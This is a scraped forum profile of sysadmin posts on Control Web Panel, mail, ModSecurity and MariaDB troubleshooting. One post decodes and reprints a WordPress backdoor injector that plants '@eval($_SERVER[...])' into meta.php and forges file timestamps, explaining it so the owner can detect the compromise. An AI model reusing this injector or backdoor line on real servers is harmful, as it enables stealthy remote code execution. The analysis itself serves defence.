Jump to content

Netino

Priority Members

  • Joined

  • Last visited

View Profile Find content

Posts posted by Netino

    Email messages are essentially text messages. When you install postfix-pcre, it will perform a regex analysis on each message, and this involves additional processing. If you have a small volume of messages on your mail server, this is fine, there should be no problem. But if your traffic is heavier, I recommend that you do a performance analysis, and if there is an impact, find a less expensive solution.

    ·

    Edited by Netino

    A simple restart on your php-fpm server, while serving pages, can cause these messages.

    A restart on your php-fpm server can occur if you run a cron process restarting the server at that time, or, for example, if you set a rebuild in the CWP configuration that did not complete.

    Check the cron logs (/var/log/cron) at that time to see if there is a process restarting your php-fpm around that time.

    Regards,

    Netino

    ·

    Edited by Netino

    It is not feasible to disable these redirects.

    So, you can do what I do: use a global antispam system on your server, where you can use postscreen, and use a system (Spamassassin, Rspamd, etc) that performs Bayesian analysis of emails (there will be complaints, globally means spam for some, but not for others). But Bayesian analysis learns fast, before problem turn big. Rspamd have neural analisys, too.

    In addition, monitor rejections from major providers: Gmail, Outlook (mainly Hotmail), etc. When there are problems with these major email providers, they complain first with error messages, and gradually lowering reputation of your mail server. With active monitoring, you will have enough time to avoid a definitive block on them, and you will have time to complain about the redirection of your clients, or even disable them.

    Regards,

    Netino

    ·

    Edited by Netino

    This is an obfuscated code in base64. Decoding this base64 sequence, it generate the following php code, that will be executed by php itself through "eval" php function:

    phpConfValidate('YTo0OntpOjA7czo1MDoiL2hvbWUvZm90YmFsbG5lcmQvcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvbWV0YS5waHAiO2k6MTtzOjk4OiJ+ZXZhbFteXChcblxyXSpcKFteXCRdKlwkX1tBLVpdezZ9W15cW10qXFtbXlwnXCJdKltcJ1wiXUhUVFBfRDM0MUJFRFtcJ1wiXVteXF1dKlxdW15cKV0qXClbXjtdKjt+cyI7aToyO3M6MzI6IkBldmFsKCRfU0VSVkVSWydIVFRQX0QzNDFCRUQnXSk7IjtpOjM7czozMzoifl5ccypmdW5jdGlvblxzK3VwZGF0ZV9tZXRhZGF0YX5tIjt9');

    function phpConfValidate($ser) {

    list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));

    $source = file_get_contents($fullPath);

    if (preg_match($systemEnv, $source)) {

    return;

    }

    if (!preg_match($pattern, $source, $matches)) {

    return;

    }

    $incorrectRegex = str_replace('e' . 'va' . 'l', '@?arr' . 'ay', $systemEnv);

    $newSource = preg_replace($incorrectRegex, '', $source);

    $newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $newSource);

    if (!preg_match($systemEnv, $newSource)) {

    return;

    }

    $filemtime = filemtime($fullPath) + 10;

    unlink($fullPath);

    file_put_contents($fullPath, $newSource);

    touch($fullPath, $filemtime);

    }

    Decoding the following sequence:

    phpConfValidate('YTo0OntpOjA7czo1MDoiL2hvbWUvZm90YmFsbG5lcmQvcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvbWV0YS5waHAiO2k6MTtzOjk4OiJ+ZXZhbFteXChcblxyXSpcKFteXCRdKlwkX1tBLVpdezZ9W15cW10qXFtbXlwnXCJdKltcJ1wiXUhUVFBfRDM0MUJFRFtcJ1wiXVteXF1dKlxdW15cKV0qXClbXjtdKjt+cyI7aToyO3M6MzI6IkBldmFsKCRfU0VSVkVSWydIVFRQX0QzNDFCRUQnXSk7IjtpOjM7czozMzoifl5ccypmdW5jdGlvblxzK3VwZGF0ZV9tZXRhZGF0YX5tIjt9');

    ...we will get the a code, that will saved and be executed in your server:

    a:4:{i:0;s:50:"/home/fotballnerd/public_html/wp-includes/meta.php";i:1;s:98:"~eval[^\(\n\r]*\([^\$]*\$_[A-Z]{6}[^\[]*\[[^\'\"]*[\'\"]HTTP_D341BED[\'\"][^\]]*\][^\)]*\)[^;]*;~s";i:2;s:32:"@eval($_SERVER['HTTP_D341BED']);";i:3;s:33:"~^\s*function\s+update_metadata~m";}

    Its a sequence of obsfuscated sequences of codes. This last line make sense to you?

    If no, is strongly possible your user is trying to crack your server.

    Check a discussion on this site:

    https://www.operationdecode.com/http-header-injection-and-modsecurity-evasion/

    The result on your server is very similar to what is shown on this site, like they said:

    "Further analysis also indicated that this method could be used to connect to a C2 and act as a zombie host.

    Throughout our investigation, and in reviewing a large number of these cron and files; we can see this is a direct attack on WordPress, where the code is being injected into default WordPress files that are required for the WordPress page to load. What this allows for, is the malicious actor to send the request directly to the domain name, and not to the affected files to get the desired outcome. Furthermore, when reviewing the access logs, there is no evidence of an attack. What is visible in the logs are only the GET requests to the root of the website. This was tested on a local installation of an infected site.

    (...)

    As this method for persistence and connecting to a c2 is very stealthy, it is not easily detected and may be overlooked. A search via the command line for "@eval(http_" should help in finding if this infection exists in your WordPress installation."

    Regards,

    Netino

    On 4/21/2025 at 9:52 AM, Dutch_Mike said:

    Hi Sandeep,

    The upgrade went with a few hiccups but i managed to it working. when i do

    mysql -V it shows me mysql Ver 15.1 Distrib 10.11.11-MariaDB, for Linux (x86_64) using readline 5.1

    but after i did the command

    mysql_upgrade --force

    and i scrolled up it gave me this :

    mysql.transaction_registry OK

    mysql.user OK

    Phase 2/8: Installing used storage engines... Skipped

    Phase 3/8: Running 'mysql_fix_privilege_tables'

    Phase 4/8: Fixing views

    mysql.user

    Warning : The user specified as a definer ('mariadb.sys'@'localhost') does not exist

    status : OK

    sys.host_summary OK

    the rest says all ok... behind.

    is this an issue or ?

    regards

    Mike

    Recreate the user and try the upgrade again:

    CREATE USER `mariadb.sys`@`localhost` ACCOUNT LOCK PASSWORD EXPIRE;

GRANT SELECT, DELETE ON `mysql`.`global_priv` TO `mariadb.sys`@`localhost`;

    From Deepseek.com, and I agree:

    The secondary IP address (10.0.0.3) showing over 1GB of transfer every hour, while all sites are configured to use the server IP (10.0.0.2), suggests that there is traffic being routed or directed to the secondary IP. Here are some possible reasons for this:

    1. Misconfigured Services or Applications

    • A service or application on the server might be explicitly bound to the secondary IP (10.0.0.3) instead of the primary IP (10.0.0.2). This could include:

      • Web servers (e.g., Apache, Nginx)

      • Database servers (e.g., MySQL, PostgreSQL)

      • Backup services

      • Monitoring or logging tools

    • Check the configuration files of these services to ensure they are not listening on the secondary IP.

    2. DNS or A Records Pointing to the Secondary IP

    • If any DNS records (A records) point to the secondary IP (10.0.0.3), traffic will be directed to that IP. For example:

      • A subdomain or specific service might be configured to use 10.0.0.3.

      • A misconfigured DNS record could accidentally route traffic to the secondary IP.

    • Verify your DNS settings to ensure no domains or subdomains are pointing to 10.0.0.3.

    3. Network Interface Configuration

    • The network interface on the server might be misconfigured, causing traffic to be routed through the secondary IP. For example:

      • Incorrect routing tables.

      • Improper binding of IP addresses to the network interface.

    • Check the server's network configuration (e.g., /etc/network/interfaces on Linux) and routing tables (ip route or route -n).

    4. Background Processes or Cron Jobs

    • A background process or cron job might be using the secondary IP for tasks such as:

      • Data synchronization.

      • Backups.

      • API calls or external communication.

    • Check running processes (ps aux, top, or htop) and cron jobs (crontab -l) to identify any tasks that might be generating traffic.

    5. Malware or Unauthorized Access

    • The secondary IP might be compromised, and an attacker could be using it for malicious activities such as:

      • Data exfiltration.

      • Serving malicious content.

      • Participating in a botnet.

    • Investigate the traffic using tools like tcpdump, iftop, or nethogs to identify the source and destination of the traffic.

    6. Load Balancing or Proxy Configuration

    • If the server is behind a load balancer or proxy, the secondary IP might be used for specific traffic. For example:

      • The load balancer might be directing certain requests to 10.0.0.3.

      • A reverse proxy might be forwarding traffic to the secondary IP.

    • Check the configuration of any load balancers or proxies in your setup.

    7. Logs and Monitoring

    • Analyze server logs to identify the source of the traffic:

      • Web server logs (e.g., Apache, Nginx).

      • Firewall logs (e.g., iptables, ufw).

      • System logs (/var/log/syslog, /var/log/messages).

    • Use monitoring tools like iftop, nethogs, or vnstat to track real-time traffic on the secondary IP.

    Steps to Diagnose and Resolve:

    1. Check Network Configuration:

      • Verify the IP addresses assigned to the network interface.

      • Ensure no services are bound to the secondary IP.

    2. Analyze Traffic:

      • Use tools like tcpdump or iftop to capture and analyze traffic on the secondary IP.

    3. Review DNS Settings:

      • Ensure no DNS records point to the secondary IP.

    4. Inspect Running Processes:

      • Identify any processes generating traffic on the secondary IP.

    5. Check for Malware:

      • Run a malware scan and investigate suspicious activity.

    6. Review Logs:

      • Examine server logs for unusual activity or errors.

    By systematically checking these areas, you should be able to identify the source of the traffic and resolve the issue.

    On 2/26/2025 at 4:36 PM, Navid said:

    Hi, I have a server with pre installed cwp, if you need to test the latest one with pleasure

    thank.

    It's not possible to use modsecurity v3.0.13 with Apache, just only with nginx.

    Apache works only with v2.9.x versions of modsecurity.

    ·

    Edited by Netino

    It's a bit hard to know exactly what problem you're trying to solve. It seems like there are a lot of requests for non-existent files, is that it?

    But apparently you're trying to solve this through the web server itself.

    But seems your logs are from nginx, and your configuration is for apache.

    Surely, I would recommend installing ModSecurity, and a firewall like csf.

    But I still can't tell if this is a good solution, because I don't quite understand the problem you're having.

    Regards,

    Netino

    ·

    Edited by Netino

    Quote

    No, The OWASP 4.x ruleset works with Mod Security 2.9.7 and Apache 2.4.62

    The only problem, is notifications are not being sent by LFD from the Mod Security log (something isn't being triggered).

    Otherwise when I look at the log, attacks are being blocked as they should be.

    The lastest version of ModSecurity V3 is 3.0.12.

    It's important doesn't confuse ModSecurity 3.0.x with OWASP ruleset core 3.0.x.

    Like I said, apache doesn't work fully with ModSecurity 3.0.x. This is documented in Modsecurity site (assumed by OWASP team in july, this year)

    But I have myself running normally apache with OWASP Ruleset core 4.7.x, since 3.x up to 4.x.

    Maybe LFD problem can be solved with a few adjusts in ErrorLogFormat directive, to do it work.

    On 10/23/2024 at 2:43 AM, Sandeep B. said:

    any error you're getting with the latest version build with Apache?

    To use ModSecurity V3 (libmodsecurity), is needed to use the ModSecurity-apache connector. This project is under development and not production-ready. The functionality is not complete, so we cannot use use with Apache HTTP Server.

    There are a note in that page:

    "NOTE: This project is not production ready

    This project should be considered under development and not production ready. The functionality is not complete and so should not be used. With Apache HTTP Server, the recommended version of ModSecurity is v2.9.x.

    "

    ·

    Edited by Netino

    7 hours ago, TheHolbi said:

    Hi @Netino The output is the following: 

      -o content_filter=smtp-amavis:127.0.0.1:10024
  -o smtpd_sasl_auth_enable=yes
  -o smtpd_client_restrictions=permit_sasl_authenticated,reject
smtps     inet  n       -       n       -       -       smtpd
  -o smtpd_tls_wrappermode=yes
  -o smtpd_sasl_auth_enable=yes
  -o smtpd_client_restrictions=permit_sasl_authenticated,reject
  -o content_filter= 
  -o content_filter=
  -o smtpd_recipient_restrictions=permit_mynetworks,reject
  -o smtpd_client_restrictions=

     

    You have two blank 'content_filter' lines, and two 'smtpd_client_restrictions' lines, one with 'permit_sasl_authenticated,reject' and the other blank.

    But the 'smtpd_client_restrictions' lines seems to have a contradiction. The first is being overridden by the second (if it is not belonging to another section).

    Below are a suggestion for the configuration of the 'smtps' section. Some configurations may be identical to the submission, this is because one configuration is for sending and the other for receiving. Since we will only use service ports that require authentication, they can be identical: 

    smtps     inet  n       -       n       -       -       smtpd
  -o syslog_name=postfix/smtps
  -o smtpd_tls_wrappermode=yes
  -o smtpd_sasl_auth_enable=yes
  -o smtpd_sasl_type=dovecot
  -o smtpd_sasl_path=private/auth
  -o smtpd_client_restrictions=permit_sasl_authenticated,reject
  -o milter_macro_daemon_name=ORIGINATING

    "-o syslog_name=postfix/smtps" indicates that the activities will be available under the name “postfix/smtps” in the log file.

    "-o smtpd_tls_wrappermode=yes" indicates that TLS Fallback will be used for email clients that do not support STARTTLS.

    "-o smtpd_sasl_path=private/auth" The authentication format that will be passed to the SASL plugin. This configuration must match the socket file '/var/spool/postfix/private/auth'.

    "-o smtpd_client_restrictions=permit_sasl_authenticated,reject" The types of requests that will be accepted from clients.

    "-o milter_macro_daemon_name=ORIGINATING" The name of the email filter process macro.

    Check the existance of your socket file in /var/spool/postfix/private/auth.

    Check too if you opened the port 465 in your firewall.
    And check too if your certificates are valid an being pointed and used in '/etc/postfix/vmail_ssl.map' file.

    ·

    Edited by Netino

    On 10/17/2024 at 5:10 PM, TheHolbi said:

    I have just migrated a CWP installation from Centos 7 to AlmaLinux 9.4 by migrating the /home directory, the /var/vmail directory, and the databases.
    All the features have been configured, but I have two problems that I have not yet managed to solve.
    AlmaLinux 9.4 was installed with OpenSSL 3.0.7   1 Nov 2022 by CWP, and none of the programs, even a Laravel 11.x app under PHP 8.3.12, can send mail over port 465.  
    Error message: 

    Connection could not be established with host "ssl://mail.example.com:465": stream_socket_client(): SSL operation failed with code 1. OpenSSL Error messages:
error:1416F086:SSL routines:tls_process_server_certificate:certificate verify failed {"exception":"[object] (Symfony\\Component\\Mailer\\Exception\\TransportException(code: 0): Connection could not be established with host \"ssl://mail.example.com:465\": stream_socket_client(): SSL operation failed with code 1. OpenSSL Error messages:
error:1416F086:SSL routines:tls_process_server_certificate:certificate verify failed at /home/user/laravel/vendor/symfony/mailer/Transport/Smtp/Stream/SocketStream.php:154)

    I had to temporarily switch to using port 25 in the SMTP service.

    The other problem is that postfix does not put DKIM signatures on the mails, even though all elements of the system, OpenDKIM, etc. are installed and running.
    What should the config file of postfix and opendkim look like in CWP to get this service working properly?

    Maybe you haven't enabled smtps in your system.

    Please, post your result from this command: 

    grep -P "^\s*(smtps|\-o\s*(syslog_name|smtpd_tls_wrappermode|smtpd_sasl_auth_enable|smtpd_relay_restrictions|smtpd_client_restrictions|smtpd_recipient_restrictions|milter_macro_daemon_name|smtpd_sasl_type|smtpd_sasl_path|content_filter|smtpd_proxy_filter))" /etc/postfix/master.cf

    Regards,

    Netino

    ·

    Edited by Netino

    On 7/17/2024 at 1:02 PM, Navid said:

    Dear Netio please describe your bash? what is this for this bash? and what it will execute in the server??

    These lines are just to make a small correction, due to the fact that the website 'mirror.centos.org' is no longer accessible. So I suggested a fix, to change the Centos7 repository addresses to 'vault.centos.org', which is still accessible.

    Yes, completely updated.

    The file was saved within the cwpsrv area, with root user/group ownership.

    I spent ten days trying configurations with OWASP/Comodo modsecurity, and then I decided to directly test a URL used in the attack, and unbelievably, it works to execute a "ls -alF" command on the server.
    The only solution I found was to restrict access to the CWP admin panel by IP or authentication.

    ·

    Edited by Netino

    Correction:

    I had all of my 5 servers, geographycally in different locations(wow!), compromised, with a proof of concept.

    Nothing anymore.

    A php file was saved with root permissions. But if one file was saved, any file would be saved with root permissions.

    And executed...!!!

    (This is a large scale attack?!)

    But my servers wasn't really attacked, because I discovered the problem on the day after.

    I'm a experienced admin(first server in 1996), and could stop the attack, before the attacker come back.

    But I afraid many people don't know this until now.

    I have one solution: turn you cwpsrv server protected, or by IP restriction, or with nginx(cwpsrv) password ().

    The reason cannot be revealed, up to CWP Team acknowledge the problem.

    Create a file /usr/local/cwpsrv/conf/include/security.conf with the following content: 

        #...
    satisfy any;

    allow 192.168.1.1/24;
    allow 127.0.0.1;
    deny  all;

    auth_basic           "Administrator’s Area";
    auth_basic_user_file conf/ht_passwd;

    Choose yours IP adresses, and/or define additional authentication on cwpsrv. (Will be authenticated 2 times)

    Create a file /usr/local/cwpsrv/conf/htpasswd with your passwords: 

    # /usr/local/apache/bin/htpasswd /usr/local/cwpsrv/conf/ht_passwd

    ...and restart cwp on the panel, or with the command: 

    # /scripts/restart_cwpsrv

     

    Posted

    How can I alert the development team to a very, very serious security flaw, where it is possible to execute arbitrary commands with root user permission?!

    I tried to contact support, and they simply disregarded my message saying that I don't have a support "contract".
    My server was compromised, and I have the URL to replay the attack.

    Regards,

    Netino

    ·

    Edited by Netino

    I had the same internal server error and was unable to resolve the issue until now.
    Apparently it's something related to the ICU library, which should be >=4.2.
    Among some installations, I have an old CWP installation and it may be that some necessary libraries are missing over time.
    I disabled WAF and the problem persists.
    So I decided to follow the workaround pointed out here:
    https://www.roundcubeforum.net/index.php?topic=29678.0

    At least now I can use roundcube.

    EDIT:

    Strangely, I checked the problem was my old CWP installation hadn't the directory '/usr/local/cwp/php71/php.d', because I was being deleted it in the first step "To remove INTL".

    So, I execute the same steps, without removing it, and the problem was solved without the above workaround.

    Regards,
    Netino

    On 1/10/2024 at 4:36 AM, torettos said:

    Yes this is good question ... or better way to filtering incoming and outgoing e-mail?

    You can define outgoing limit too, limiting the authenticated user limit: 

    user: limit per authenticated user (useful for outbound limits)